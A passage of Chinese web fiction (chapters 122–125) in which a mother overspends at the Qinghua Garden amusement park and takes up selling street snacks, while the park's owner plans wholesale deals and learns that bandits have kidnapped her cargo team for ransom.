除了黄金鸡店,美食小街还有一家酸辣粉店前也排起了长队。 筷子粗的褐色红薯粉丝打底,铺上黄色的豆腐皮,翠绿的芫荽,雪白的蒜泥,炸的酥脆的小豌豆,倒入半勺高汤,一小勺卤汁,最上面浇上一层油汪汪的红热油,瞬间辛辣酸香的味道霸道的钻到鼻尖,让人不自觉的吞口水。 刘谷香娘三人也在这里,钱斌钱微吃黄金鸡腿,店家还送了两个软软的烤饼,说是可以把鸡腿家夹在里头吃。 她闻着酸辣粉的味道便走不动道,干脆从黄金炸鸡店买了鸡腿鸡翅,从酸辣粉店买了一碗酸辣粉,娘三个坐着一起吃。 粉丝入口,汤汁的酸辣刺激着嘴巴,让人胃口大开。不同于面条的柔软,粗粉是一种全新的弹韧爽滑,可以吸溜吸溜一根根嗦到嘴巴里。 脆生生的生菜,酥香的小豌豆,焦香的肉酱,还有鲜甜酸辣的高汤,q弹的粗粉配合在一起,立马让她路转粉。 刘谷香才尝了一口,便觉得这二十文画得实在太值。 嗦完粉和菜的刘谷乡,将汤汁喝得一点不剩,打了个饱嗝,满足的喟叹一声。 斌钱微每人吃了一份鸡腿后,端着山药片,慢悠悠的吃着,顺便喝一口热乎乎的奶茶。 吃饱喝足,感觉有些困,钱微灵机一动翻出一等奖卷,叫嚷着去午休一会。 刘谷香戚眉,按照地图,举人宅子,离美食小街好远,至少有三里路,钱斌上下眼皮直打架,还没走到半路就已经睡着里。 来收拾餐盘伙计听到了她的顾虑,笑道:“夫人看见路上的马车没?双匹大马的马车,上面可以坐十人,若走不动路,只管招手让他们停下,只要一文钱一人,就可以跟着马车游览全园,我们管那个马车,叫做观光车。” “要不您去美食街街口看一看,那里肯定有!” 刘谷香恍然大悟,双匹大马威武高壮,她还以为是哪个有权有势的人家进来游玩,原来是青华园自己的观光车,实在,还豪横了。 第122章 第122章不经用的银子 刘谷香一面抱着昏昏欲睡的钱斌,一面不错眼的盯着美食街两面小店。 托儿子的福,钱斌在学堂读书,夫子习惯布置些作业,钱家请不起家教,她这个老母亲亲自上阵,快速的学会后再教导儿子,一年下来,她竟然也认了大部分常用字。 这些小店一模一样的格局,约摸一丈宽,迎风飘扬的招子上绣着自家的特色小吃:除了黄金炸鸡,酸辣粉,还有卤凤爪,黄金烤鸭,鸭肠粉丝,红糖糍粑,绿豆饼,过桥米线,包浆豆腐,小卷粉,烤粉肠,菠萝饭,竹筒饭,豌豆凉粉,烧饵块…… 每一家小店里坐无虚席,有的甚至在门口排起了队伍,可想而知,味道一定美极了。 她决定,等午休完,晚饭来这里解决。 美食小吃街门口确实等着一辆双匹高头大马的十人座马车,赶车的车夫热情的帮她把睡着的钱斌抱了上去,笑盈盈的问她们的目的地。 “我们马车的路线途径所有游乐区休息区,上车一文钱,不论路远路近,全都一文钱,大家伙坐稳咯!” 他一甩鞭子,马车稳稳当当跑了起来,马蹄落在青石板地面上,发出哒哒哒的声响。 不同于牛车的缓慢,不同于驴车的慢吞吞,马车跑起来,又快又稳,微风能带起发梢。 坐着马车上的大都是小富之家,单独雇佣一辆这样的双头大马车,一日至少要三百文,现在只用花费一文钱,就能坐在高高的马车上,不用被太阳暴晒,不用发酸的腿走路,游览整个青华园的景色,实在划算。 到了休息区,刘谷香掏出举子宅院体验卷,守门的伙计一脸为难:“阿姊,这个卷没问题,我们认,只是,这里头是男舍,只允许男子入内,您进去,多有不便,要不,您把大哥请来,带着孩子进去,可 好?” 刘谷香眼底闪过一丝落寞,丈夫忙于上值,偶尔休沐的时候,放心不下独居的长子,前去帮忙修补门窗,整理院子。 伙计摸摸后脑勺:“不如这样,我请示我们掌柜,您去女舍那边休息一下,如何?” 刘谷香不愿意,她今日来便是冲着举子的文气来的,想让儿子住进举人老爷曾经住过的屋子,蹭一蹭文曲星的运道。 “要不,让孩子一个人进去,我和闺女在门口等着?” 伙计头摇的拨浪鼓一般:“那不成,孩子太小,一个人如何照顾好自己。” 他凑近压低声音道:“女舍那边,比这边布置得更豪华,您不去体验一番,白瞎了这样一等奖的体验卷!” 伙计眼睛在钱斌身上的青色小学子服扫了扫,笑道:“大姐,你想住举子屋,是不是想蹭一蹭举人老爷的文气?” 刘谷香唬得左右看了看:“嗨,你别瞎说!”什么蹭不蹭的,万一把举人老爷的文气给蹭没了,那她不得被打死。 伙计观她脸色,笑道:“我有个好办法!” “举人屋子只剩下不可搬动的桌椅床铺,那些用具,全都搬到了特产街,您过会去淘弄一只笔,您想想,举人老爷写过字的笔,以后就在您儿子的手中,是不是得妙笔生花,下笔有神?” 哈?特产街,那是啥,在什么地方? 伙计笑着解释:“就在美食小街的隔壁,一条街都是,卖的全是我们青华园的特产” 他神秘兮兮道:“特别是举人老爷用过的笔,您得快一些,不然去晚了,只怕被抢购完!” 听说还有这种东西卖,刘谷香不再纠缠,同意了伙计的提议,置换到女舍休息一个时辰。 躺在宽大柔软的床铺上,钱斌拱了拱睡得像个小猪,就连不睡午觉的钱微也钻进了柔软的被子里,一小会便传来均匀的呼吸。 刘谷香不敢睡,这床铺是淡淡的浅蓝色,干净清爽一尘不染,她今日恰好来小日子,怕把人家的床铺弄脏赔不起。 她给两个孩子盖好被子,走到净房里,神奇的这里摸摸那里看看,当发现一扭开关,便从铜管里流出暖暖的热水,她立即决定,冲个热水澡。 顺便用了用小罐子里散发着幽香的洗发液。 洗发液,顾名思义,肯定是洗头发的。 当头顶上冒出雪白的沫子,随着清水的冲洗后,她感觉头发这辈子第一次这么干净,再也没有油腻腻的感觉。 但又非常丝滑,梳子轻轻一划拉,便将凌乱的头发理得清清爽爽。 洗完澡的她,准备穿衣裳,惊觉带来的月事带全都用完了。这如何是好?这样一路回去,弄脏了衣裳,她还有何颜面立足。 正当她愁眉不展的时候,发现了个小抽屉,拉开后里面放了一包柔软的草纸,还有一个乳白的月事带。 不同于她用草木灰做的月事带,人家青华园的月事带一尘不染,雪白柔软,里头放得竟然是棉花。 最重要的是,送来进来的女伙计曾告诉她,房间内写着一次性的所有东西,都可以免费使用。 她毫不犹豫的换上了新款棉芯月事带,立刻感受到了其中的不一样,柔软贴身令人安心。 刘谷香发现了宝藏一般,将屋子内的每一样都体验了一把,暗下决心,一定要买上一包回去。 待两个孩子睡醒,本着不用白不用的原则,也给两个孩子冲了个热水澡,将一小罐子的洗发乳用得一点不剩。 三人焕然一新,这次也不去游玩了,直奔特产街。 特产街位于美食小吃街的隔壁,和小吃街一样的门面,但卖的全是各种五花八门的东西。 刘谷香带着精神奕奕的儿子女儿首先进了书店,里头笔墨纸砚一样俱全,伙计笑嘻嘻询问她要找点什么? 她欲言又止。 伙计不点而通爽朗一笑:“我知道了,您想给小哥儿,配一套鹿鸣宴上用过笔墨纸砚?” 刘谷香忙不矢点头。 伙计端出一沓雪浪纸,一只狼毫小笔,一小块墨,还有一方小巧的瓷砚台,另一只羽毛。 “一共三两银,今日买了这些后,送您一只羽毛笔,给小哥儿默字顶顶方便。您是付现银,还是银票?” “这么贵,外面这样一套,最多一两银。” 伙计也不生气,依旧笑眯眯解释:“那怎么能一样,我们这些笔墨纸砚是鹿鸣宴剩下的,和举人老爷们共处一室,甚至被举人老爷们抚过,沾染了文气的,那些死物如何能与我们这个相比。 再说,您在外面,见过这么白这么丝滑的纸么?” 说得好有道理。 “可以便宜些么?” 伙计摇摇头:“真没法便宜,我们也不多了,只剩十多套,卖完就没有了。” 刘谷香闻言,立刻掏出银子付账。 伙计热情的用了个精致的木盒子帮她包起来,体贴询问她要不要寄存。 在青华园消费满十两银,青华园提供上门送货服务,免却客户提着东西的烦恼。当然,只限距青华园十公里范围内的客户。 刘谷香嗤之以鼻,她已经为儿子买了可以蹭文气的笔墨纸砚,青华园休想再从她口袋里掏出银子。 不过很快就被打脸,因为,下一家卖的是:举人老爷在鹿鸣宴上捧过的金饭碗。 说金饭碗,其实有些夸张。准确来说,是骨瓷描金边饭碗,拳头大小的一个,精致漂亮,价格也很美丽,三百文一只。 刘谷香咬咬牙,买,必须买。 还有菜盘,鱼盘等,全是鹿鸣宴上的菜盘。 刘谷香拉着儿子女儿头也不回的走出了瓷器店,因为她怕继续呆下去,荷包里的银子都要换成这些精美的瓷器,这是每一个主妇的心头好。 她甚至已经在脑海里想着那个浅绿的荷花盘,若摆上整只的黄金炸鸡,在年夜饭中,是多么高端大气上档次的一道菜。 不过,逃过了精美的餐具瓷器,却逃不过下一家店。 因为卖的是洗发乳和月事带。 用过一次后的刘谷香,再也没法忍受洗不干净的头发,黏黏糊糊的月事带。 而且她发现,今日用了洗发乳以后,头皮竟然没有痒痒。 她毫不犹豫花了一两银,买了一大罐子洗发乳,一两银,买了33只月事带,店里是个女伙计,她悄悄的告诉刘谷香,这几日青华园开业大酬宾,只要30文一只,但三天后,恢复正价,五十文一只,不如趁机多囤一些,还推荐她买了瓶一洗净,据说能有效治疗瘙-痒症状。 不能厚此薄彼,得为女儿添置些东西,犹如真花一般的绒花,和碰碰一个样的棉布毛老虎,和女舍里一模一样柔软暖和的被子。 刘谷香捧着最后一两银,眼底闪过了迷茫,她已经非诚克制了,为何将银钱用得只剩了这么点。 正当她发愣的时候,一个女伙计喊住她:“阿姊,我们木器铺子开业大酬宾,买一只吹风机,送两把剃须刀,只剩最后一个名额,千万不要错过了!” 吹风机她也蛮心动的,剃须刀是什么鬼。 伙计见她意动连忙解释:“剃须刀是男子修理胡须的!” 说完撩起自己的袖子,拿过剃须刀在手臂上划拉了一下。 伙计的手臂上长满了汗毛,但有的地方却光秃秃的,莹白如雪,刘谷香正奇怪着呢,看了她的动作立马晓得缘故,原来毛手臂,就是被这么划拉干净的。 小姑娘嘴巴特别会说:“阿姊,这个吹风机一家子都可以用,而剃须刀两把,一把给姐夫净面,一把您自己用来去汗毛,忒划算了,只要一两银哦。 悄悄和你说,早点买,没有多少存货了,要知道,那些举人老爷,人手一把,学子们争相模仿。今日开业,我们东家才忍痛相送的。” 刘谷香:“……” 银子都被花完了,有一点心虚,不带点回去给丈夫,好像说不过去,她利索的付了钱。 第123章 第123章烧饵块 刘谷香装来的银子花得一文不剩,吃晚饭的钱都没有。 因为他们消费满十两,卖吹风的女伙计热心的帮她们办理了送货服务,拍着胸脯保证,等他们一回到家,立马看到他们的物件。 出了店门两手空空的刘谷香被冷风一吹,头脑清醒了许多,顿觉要糟。 她竟然一日间用了十两银子,那可是丈夫一季的薪水。不过,有种花钱的爽快感和报复的快感是怎么回事? 钱斌拉拉她的袖子,咽了咽口水:“阿娘,我们再去吃一次黄金鸡呗!” 刘谷香:“我也想吃酸辣粉,不过,我们手里没钱了,得回家!”要是自己有进项,该多好。 回想今日女舍里的伙计,特产街也有许多女伙计,她眼底闪过羡慕,什么时候,她也能花上自己的钱呢。 钱微觑着她的 面色,从荷包里掏出一个银花生:“阿娘,我将从小攒的压岁钱带来了,我们再去美食街,带一些小食回去,明日也能吃。” 刘谷香估摸了一下,银花生约摸五钱,换五百个铜板,够他们娘三个饱饱的吃一顿。三人折回去美食街,钱斌一个黄金鸡腿,两个烤饼。 烤饼不晓得青华园是怎么做的,比府城最松软的馒头还要软和,带着一焦香,单独撕扯着吃有淡淡的回甜,也可以将鸡腿夹在两个烤饼中间,抹一点店里提供的酸甜酱,香酥脆嫩酸甜分层在嘴中爆开,每个小孩子吃的舔手指头,欲罢不能。 钱微选了烧饵块,午饭时她看见一个同她一样大的男孩,用油纸包握着一个卷起来的烧饵块,那眉飞色舞的样子,让她艳羡了半天。 烧饵块的台面上,装各种蘸料的罐子,摆了半个台面。 青华园的饵块多种多样,有白米的、紫米、青蒿的,五颜六色切成一张一张筷子直径大小的圆饼,任顾客选择。 钱微选了一个白米味的。 伙计端走铁网架,扒了扒炭火,黑灰色的木炭因氧气充足,冒出点点红光,再放回铁网架,火力最旺的地方,铺上一个雪白的饵块。 当她问起做法的时候,卖饵块的伙计竟然不藏私,堂而皇之的告诉她:“比如白米款的饵块,选优质的大米淘洗后浸泡三个时辰,上甑子蒸熟,再敲打成圆柱体的形状,放在水桶里储存,放个半个月没问题。 吃的方法就多了,可以像我们家这样切成薄片,在炭火上烘烤,就叫烧饵块,也可以放点韭菜腊肉炒,也可以切丝烫一下便吃,还可以切成细丝上蒸笼蒸,还可以炸。 各种味道不同,但有个共同特点,都是好吃,您可以去试一试,前面米线店里就有蒸饵丝,煮饵丝,再往前的小炒店里有炒饵块。” 伙计一面毫无保留的介绍,一面手脚麻利把中间鼓起来的烧饵块翻了个面,询问钱微要什么口味的烧饵块。 “诺,甜口味中间裹上油条,咸口里头裹上肉粉肠,单吃也行!” 钱微纠结了一下:“要,咸口的罢!”金黄的油条没有油晶晶的粉肠看着诱人呢。 伙计诶了一声,将饵块放在一个圆盘上,小勺子从各个罐子里舀佐料放在上面:“诺,这是花生酱,辣酱,蜂蜜,卤腐,菌子酱!” 他用一把竹勺将佐料拌匀,均匀的抹在饵块的每一处地方,最后夹上煮好的脆豆芽韭菜,再从炉子上取一根考得滋滋冒油的粉肠,裹了起来,用油纸包好递给钱微:“小心,有点烫哦。” 钱微吃了一口,外面的饵块皮带着大米独有的焦香糯襦,粘了酱料后是另外一种味道,甜中带着咸,咸中带着辣,很是让人上瘾。 里头豆芽的脆,肉粉肠的香,和饵块的糯,组合在一起,变成了一中甜蜜爽辣的上头味道。 看着钱微吃得香,钱斌要求再要一个。 伙计知道他已经吃过东西,怕他吃不完,贴心的烤了个饵块,只抹上了一点蜂蜜和辣酱,卷起来递给他。 小孩子一嘴便去掉半个,烫呼呼软襦的饵块,配上辣酱的香,蜂蜜的甜,让他嘻哈嘻哈的吸凉气,却欲罢不能的接着咬下一嘴。 刘谷香眼前一亮,她在家没个进项,全靠夫君过活,要是她也能卖饵块赚钱就好了,这个方便易操作。 只要一个炉子,一只铁架网,这些工具家里都有,不用再花钱置办。 地点她都想好了,就在儿子学堂外面,看儿子吃得样子,小孩子们定是极其喜欢的。 她期期艾艾问了后,伙计爽朗一笑:“您有这样的想法,当然可以去做,多少能补贴点家用。” “饵块吧,工艺简单,大家都会做,你可以自己做,不过我建议您从我们这里进货。我们青华园的饵块从选米到后面的打制,全是精心细作,您也吃过,入口紧致q弹不腻牙,打制是个力气活,很是费功夫,而且您要照顾孩子,也没太多空余时间,对吧?” “最重要的是辣酱,没有辣酱,你的烧饵块便没了灵魂,我们也出售成罐的辣酱,当然,批发和零售价是不一样的,您可以考虑一下。” 刘谷香想了想,今日花了那么多钱,最后的四百多文也留不住,捡出十个铜板坐牛车回城,剩余的让伙计给她配套着装饵块、辣酱,肉粉肠。 伙计想了想,给她装了一罐子辣酱一百五十文,一包肉粉肠七十文,一包蜂蜜酱一百文,十三个没切的饵块一百三十文,合计四百五十文。 “饵块您带回去放在水缸里用井水淹没,三天换一次水,不会坏,烤的时候,捞起来擦干表面水分直接切片,粉肠麻烦,必须放冰窖里,我只给你准备里一包,吃完后您又来,免得变味。辣酱和蜂蜜酱看着少,但抹上一点就可以了,很好操作,其他的您自己回去也能准备。” 提着大包小包的刘谷乡带着两个孩子回到家,天色近黑,看着门边丈夫的鞋,有些心虚,要是让他晓得,一日之间她花了这么多银子,不晓得要发多大的火。 她做了半天心理建设,鼓着胆子进了门。 钱厚实站在堂屋中,一样一样的翻看着桌子上各种盒子,头也没抬:“怎么才回来,肚子饿得慌,赶紧弄点吃的来!” 刘谷香哦了一声,缩到厨房里,准备做饭。 米还没泡,等煮出饭再炒个菜,至少是一个时辰后,看丈夫饿得满脸发青,估计等不及。 她心念一动,锅里烧水,从院子里扯了一把豌豆尖洗干净丢在锅里烫熟捞起,昨夜吃剩的骨头汤热一热,饵块切成筷子粗的长丝,倒入锅里的骨头汤中滚两下变软盛起装碗,上面铺上翠绿的豌豆尖,锅洞里包着菜叶皮烤熟的粉肠切片摆上,最后浇一勺带回来的红彤彤油津津的辣酱,端到了堂屋。 “做好了,你来吃吧!” 钱厚实愣了一下,这么快!还不到一刻钟罢? 他上值忙了一天回来,冷锅冷灶,想起昨晚自己让他们娘三个去玩的,不好意思发火,肚子饿得慌,干脆关了门去隔了一条街的大儿子家吃晚饭。 进了门,儿子一开门看见他诧异询问:“爹,你怎么有空来,可是有事?” 钱厚实顿时一噎,这宅子是他买的,没事他不能来么? 他看了一眼厨房里满桌的鸡骨头,没好气道:“没事,来看看你们!” “哦,爹,我和你说的棉被,你给我买了么,天气越来越冷,没有棉被,冻得整夜整夜的睡不着。” 说完,他状若虚弱的咳嗽了一声。 钱厚实扫过比自己还高壮的虚弱大儿子,闷声闷气嗯了一声,转身走了,这便是他放在心尖尖上的大儿子,小两口吃鸡却不会想着叫他一起,需要花费银子了才想起他。 钱厚实收回思绪,看着小儿子小女儿,一个给他拿巾子擦手,一个给他端凳子,郁闷的心情稍微好了些,坐在桌子前,盯着面前的后妻端来的蓝花大海碗——他没吃过。 几乎有脸盆大的汤碗中,奶白色的骨汤冒着热气,里头躲着雪白条条,翠绿的豌豆尖,粉色厚实形如香肠的圆片,红色的油酱,瞧着还好看。 他正要吃,刘谷香接过筷子拌了拌,又给他倒了杯水:“这是今日去青华园给你带回来饵丝,大米做的,粉肠,有点辣,你小心些。” 才一入口,钱厚实便惊艳了。 饵丝有大米的清香回甘,但却比米饭还要弹韧软糯,配合了豌豆尖的清甜,粉肠的咸香,还有一种微微的灼烧感,简直不要太好吃。 他冒着热汗,稀里哗啦将碗里的饵丝配菜全部捞干净吃下肚,又把汤汁喝得一滴不剩,舒喟的打了个饱嗝。 “你们今日这饵丝买的好!以后早食不吃稀饭了,就吃这个。” 他想了想,又从怀里掏出一锭十两的银子:“你们今日买的东西,我看了,挺好,特别是那个剃须刀,太实用了。棉被也很软和,三床被子,我们一床,微微,斌儿每人一床,都换上。”这么松软柔和的被子,给大儿子,他觉得糟心。 对比面目模糊的前妻,只会找他要东西的大儿子,后妻满心眼都是他,出去游玩竟然还给他带东西,那个剃须刀精致方便实用,一定是最贵的。 “这是今日头儿发的过年钱,你收着置办年货罢。” 刘谷香愕然的抬起头,感觉丈夫变了个人——怎么说呢,人还是他,但对她少了一层隔阂。难道是因为剃须刀? 果然如她一样认为,青华的东西,虽然价格些微贵了一点点,但品质是真没话说,绝对一流,你瞧,一向挑剔的丈夫都没话说。 不过她不在乎这个,喜滋滋的接了银子,她决定明日丈夫上值后便去试水,如做得好,这十两银,便是她的本钱,再去青华园进上一车饵块辣酱回来。 第124章 第124章倒水 青华园正式开业,当日游客达到了三千人次,光门票便收了二十多两。 最重要的是,像刘谷香一样心思活泛的人不知凡几,青华园的各种小吃特产,想蒲公英一样,到处流传散播。 刘慧兰温婉的声音在大厅里响起:“黄金炸鸡最受欢迎,已经有三家交了定金,签了契约,回去寻好铺面装修好便来进货。” “烧饵块,烤乳扇,烤包浆豆腐,酸辣粉这一类街头小吃,因成本小,进货的客人多,达到了一百人次。” 刘慧兰管理餐饮部,她提出了自己的疑惑:“让伙计们把小吃的做法都泄露了出去,客人以后不来我们园子里消费,怎么办?” 刘青青毫不在意道:“客人也不可能每天都来我们园子里游玩,但他们每天必须吃东西,这些小吃,想要味道地道好吃,需要我们的酱料,特别是辣酱,整个南平府,准确来说,整个赵国,只有我们一家有,他们必须来这里进货。 分出去一些利润,我们规模做得更大,相当于雇佣了无数的伙计,帮我们卖特产,不好么?” “不仅是小吃,还有我们的特产,比如吹风机剃须刀指甲刀等,过些日子肯定有仿制的,但有什么关系。” “他们会发现,自己花精力去仿制,想做成和我们一样的品质,花费的银钱比从我们这里进货高多了!” 刘青青鸡贼的笑了笑,要知道,末世的时候有一家快乐水公司,配方公开,却没有其他饮料公司能够超越他们,因为口感比他们好的,售价没他们低,卖得比他们便宜的,口感没他们好,稳坐行业第一。 刘青青脑子很清醒,不会让自己的青华园成为一枝独秀的靶子,她要和南平府所有的大小商家捆绑在一起,共同谋利。 若将来谁想对青华园不利,这些同盟商家第一个不答应。 唯一不高兴的便是刘有山了:“碰碰瓷瓷焉头耷脑的,回到院子里不吃不喝,想来是累坏了,非要它们去陪那些小孩子玩么!” 刘青青无奈道:“阿爹,大虎的后腿断了,行动不利索,不可能再生活在丛林里,以后在虎山安家落户。 碰碰瓷瓷学不会生活捕猎技能,放回丛林是死路一条。 以后跟我们生活在一起,我们人人有事做,棉花黑炭在园子里卖水,大妞二妞跟着拉车,它们两凭什么搞特殊。 而且,他们不是累了,是撑到了。” 老虎碰碰独自营业,被一众小孩宠到手心里。 小孩子的喜爱直接真挚,爱你便和你分享美食。黄金鸡腿不要命的投喂,它都快吃吐了。 刘有山张了张嘴,发现是这么个道理。 闷闷不乐的转了话题:“净室的图纸卖出十份,另有三户人家请我们过去改建净室,等从陶窑订下的陶瓷管和脸盆到就可以动工。” …… 张和作为南平府青华园的总秘书,奋笔疾书,很快将各部门的账单汇拢,他迷弟一般满眼崇拜的看着她:“青姑娘,我们青华园今日接待人次三千人,营业额二万两。” 说出这个数字,他还不敢相信,他的红酥手铺子,一日的营业额五百两左右,据他估计,就算是遇仙楼,一日的营业额一万两顶天了。 青华园竟然做到了一天二万两,这样的吸金能力,遇仙楼拍马赶不及。 其他的更不用说。 张和的声音有些飘:“存货已经去了大半,是不是把银子投进去,再生产一批来?” 刘青青摇摇头。 棉被、吹风、剃须刀、指甲刀这些小玩意,没什么技术含量,清水沟的存货,足够用了。她看上了另外一项——火柴。 手里有了现金流,是时候寻专业人士来做这件事情了。 刘青青捋了捋思绪,甩给张和:“你去找做烟花的能手,我有大用。” 众人愕了一下,很快抚掌而笑:“也是,春节快了,是时候做些新奇漂亮的烟花,必能大卖。” 刘青青但笑不语。 布置了各种事物,刘青青扫了眼人群,没看到负责拉货的赵二贵:“大春,二贵叔呢?” 大春正在自己的小本子上写写画画,原本大大咧咧的脸上,变成了独面一方的镇定,挺是那么回事。 她露出一瞬间的茫然:“阿爹回清水沟村拉货去了,应该快回来了吧。想来天黑路暗,他们走得慢?” 刘青青嗯了一声,希望是这样吧。 散会了的刘青青慢悠悠踱回自己的小院,橘黄的烛光下,郭守云修长的身影印在窗户上。 进了门的刘青青摸摸鼻子,感觉今日有点不一样。 她一拍后脑勺想起来了。 往日她一回来,郭守云早就把她的坐垫,整整齐齐铺在书桌旁的圈椅里等她窝进去,再塞给她一杯不冷不烫的白开水。 然后他坐回书桌前,一边学习,一边听着她絮絮叨叨的抱怨或者计划,偶尔给她一个我在听的眼神。 今日她进门,郭守云屁股都没动一下,准确来说,是头都没动一下,依旧坐在书桌前,认真写字。 刘青青心里有些不是滋味,小狼狗认真读书是好事,可是太认真了,都不搭理她也不太好。 刘青青有些气不愤的走到他面前扫了他一眼:“我的杯子呢?” 郭守云眼皮都没动一下:“杯子在桌子上!” 刘青青:“……” 又不是瞎,当然看见了桌子上的杯子,重点是杯子么,重点是郭守云今日竟然没给她端来了冷热适中的白开水。 刘青青鼓鼓脸颊,将被冷落的委屈压了下来,踢踢踏踏走到桌子面前,从茶壶里倒出一杯水喝了一口,疑,冷热刚好合适。 她顺便给郭守云端了一杯。 当她把杯子重重的拍在书桌上,溅出的水滴洇湿了书本上的字迹,郭守云终于抬起头看了她一眼,用的是疑问句:“你生气了?” 这下刘青青可是真的生气了,带着婴儿肥的脸颊鼓成个河豚,瘪嘴道:“我有什么好生气的!”不就是一杯水么,有手有脚的,自己倒就是。 两人处了这么长时间,郭守云第一次看见她气鼓鼓的模样,看着她那和碰碰一样圆的脸颊,想去褥两把。 他哑然失笑,走到她面前,揉了揉她脑袋上的头发:“不就是忙着没给你倒水么,气性这么大作甚!” “你看看我手里的是啥?” 刘青青没好气的瞥了一眼:《三年童生两年模拟》就这样猝不及防的闯入她的眼帘。 她一方面暗暗心惊谢玉华的效率,不愧是考解元的人,竟然短短一日,就编出一册书来。另一方面又有些心虚,练习册的主编是谢玉华,但主意是她出的。 末世的时候,为了提高人口生存率,基地可是煞费苦心,将孩子们集中到一起,统一学习丧尸的一切知识,为了让孩子们记忆深刻,特备编著了三年打丧尸实战两年模拟,午夜梦回,她还能感受到被练习册支 配的恐惧,现在她将这些恐惧,原封不动的递给了郭守云。 她有些心虚:“你不讨厌么!” 每日沉溺于枯燥无边的题海中,不烦么? 郭守云又坐到书桌前:“烦啊!” 他迎上刘青青有些心虚的目光,笑道: “我喜欢在森林里穿梭,听树上的鸟叫,看水里的游鱼,感受吹过发梢的凉风,抚摸苍老的树皮。” “但我同样喜欢和你们在一起,划船抓鱼,逗狗引虎” “我知道这些题目都是你让谢先生出给我做的,因为,只有我考上了举人,甚至进士,才能保住生活的宁静。” “我不烦恼看得书厚,练的题多” “我只是烦恼,因为要埋头读书做题,陪伴你的时间变少了。” 随着刘家的水涨船高,每人各自负责一滩事物,有了自己的事业圈子,刘家人聚在一起的日子越来越少,全家团团圆圆一起吃顿饭都变成了奢望。 郭守云落寞的地了低头,他最怀念的还是在清水沟村全家吵吵闹闹一起做美食的温馨日子。 刘青青默然了一下,即便刘家一直窝在清水沟村,但,时间在流失,刘家的孩子们会一一长大,建立自己的小家庭,天各一方。 小鸟长大总要离巢飞翔,鱼儿也要独自闯荡四海,时空的分别有什么关系,只要大家的心依旧在一起,人在哪里,家便在哪里。 她想了想,换了个话题:“你今日在府学,可有同窗约你一起上下课?” 郭守云脸上现出复杂的神色,陈敬几人,从之前对他的漠视孤立,今日却变得热情亲昵,转变太大,他不能很好的适应。 来青华园之前,几人同窗这么长时间,一句话都没说过,形成陌路。 但今日上学去,刘豪一见到他便凑上来,与他分享从家中带来的点心,陈敬默默的抢过他的书箱放好,潘悔笑嘻嘻的和他问好,祝渊毫不客气的翻开他的书箱,找到他的课业开始狂抄。 一副把他当自己人的做派。 郭守云有些无语,他希望在府学里有朋友,但朋友太过热情,没有界限感,他也很无语。 不就是一点作业么,同窗的友谊都是从抄作业开始的,他生硬的和几人结交。 中午吃饭的时候,他投入写文章忘记了时辰,反应过来已经过了饭食,正准备回学舍糊弄点东西敷衍过去,哪知道打开寝室门,那几个人不请自入,已经打好了饭食放在桌子上,抱怨他太慢,菜都要凉了。 刘豪还贱兮兮掏出一包黄金鸡腿,卖弄说是小厮费尽心血,弄来的美味,大家伙一起尝一尝。 这个鸡腿他认识,已经吃过了,确实美味。不过,感觉有些开心呢! 郭守云嘴角不自觉的上翘:“嗯,我和同窗们相处很好。阿青,他们很喜欢我们美食街的食物,明日早晨去上学,我能带一点去么?” 刘青青瞟了他一眼:“好啊,不过,早晨带过去,中午都凉了,你们中午等着,我让棉花黑炭送来,也没多远!” 两人正商量着明日午食要吃啥,那边大春跌跌撞撞进来,带着哭腔:“阿青,快,快想办法救救我爹!” 第125章 第125章改嫁 刘郭二人对视一眼,从对方眸中看到了凝重:“发生何事?” 许是刘青青镇定的声线给了她安慰,大春惶恐不安的脸平静了一些,颤抖着声音道明始末:“阿爹一大早带了二十个人赶着马车回常平县城拉货,往常差不多天黑时分便能回来,今晚一直不见人,我还道是货物多路上走得慢耽搁了,可是,适才,适才,车队里的张伯满身是伤被丢在门口,原是他们路上遇到了劫匪,除了张伯一人,剩下的连人带货,被劫匪给绑走了!” “张伯呢?” “张伯在舍里包扎伤口。” 青华园内划了一片地修建员工住宅区,按普通伙计,骨干伙计,部门掌柜,每一级别分配的住宅是不一样的。 普通伙计住四人间,骨干伙计住二人间,部门掌柜住单人间,越往里,住宿条件越好。是激励员工上进的一种方法。 三人步履匆匆,赶到外围的宿舍,张伯级别算是普通,住在四人间中。 原本宽敞的房间里,挤满了人,张和等人面色难看,室内气氛凝重。 张伯躺在单人小床上,面无血色,看见他们来,艰难挣扎着起身,被郭守云按住。 “回程的路上,天已经擦黑,因是走习惯的路,赵头子下令打着火把赶路。约摸距府城还有十多里路,从一旁的丛林里黑黝黝跑出五六十蒙面罩壮汉,手持白晃晃的钢刀,上前便砍” “对方人多势众,我们拼命抵抗不是对手。那些贼寇收了货物,贪心不足,竟然将我们卸掉手脚丢在车上。 蒙着眼睛颠簸了半天,贼寇将我往园子门口一抛,说是让我转告东家,十日内一人准备二万两的赎金,不然就要撕票。” “是我们没用,竟然被贼寇抢了货物,呜呜,东家,你去报官吧!” 官府围剿匪盗,能救出一个是一个。 他脸上一片灰败,从来没听说被绑架的伙计能被东家赎回来的。 青华园待遇好,一个普通伙计一个月有八百文的薪水,加上表现好的提成,约摸能领到一辆银,在南平府,已经算是顶号的差事。 如今浑身是伤,不能干活,东家肯定要责备他们护货不力,将他撵走罢。 刘青青面上爬满了黑气。 赵二贵运送的这批货物,全是常平县生产的各种特产,指甲刀剃须刀小玩意。 要说值钱罢,对方没有销售渠道,放在那也没什么用,要说不值钱罢,青华园现在人气正旺,这批货物在特产街一卖,便是银子。 对方精准的伏击在青华园运输队必经之路上,想来已经暗中窥探了许久。只是,不知道哪里来的贼寇,竟然敢如此胆大妄为。 说白了,还是因为刘家明面上没有镇得住场子的权势,这些暗中的势力,将刘家当成了无主的肥肉,伺机便咬一口。 张和听完:“我这就去报官!” 刘青青止住他:“先别慌,我先去找师傅,让他拿个主意。” 她示意张伯安心躺着:“你这是因办差事受的伤,算是工伤,你放心修养,饭食他们厨房会送过来!” 安抚好伙计,刘青青和郭守云骑着大妞二妞出了门,往府城赶去。 在他们走后不久,趴在青华园门口的一个黑影,悄摸摸起身溜走。 他一路警惕,不时回头张望,却没发现,身后不远处,一白一黑两只身影,晃悠悠的跟着。 刘青青和郭守云两人去而复返,跟着棉花黑炭,穿过密密麻麻的丛林,看到前面的一片宅院,燃着篝火场院里的景色,让他们大吃一惊。 真是冤家路窄,站在上首男子身边的两个女子,右手边的,竟然是许美仙——赵二贵他前妻。 许美仙穿金戴银,一股子暴发户的气息。 她看了一眼躺在地上,满身是血人事不知的赵二贵, 眼底里闪过鄙夷,好似被血腥味刺激到,将帕子青青捂在鼻尖,捏着嗓子道:“官人,好好的,将他弄来作甚,平白恶心人!” 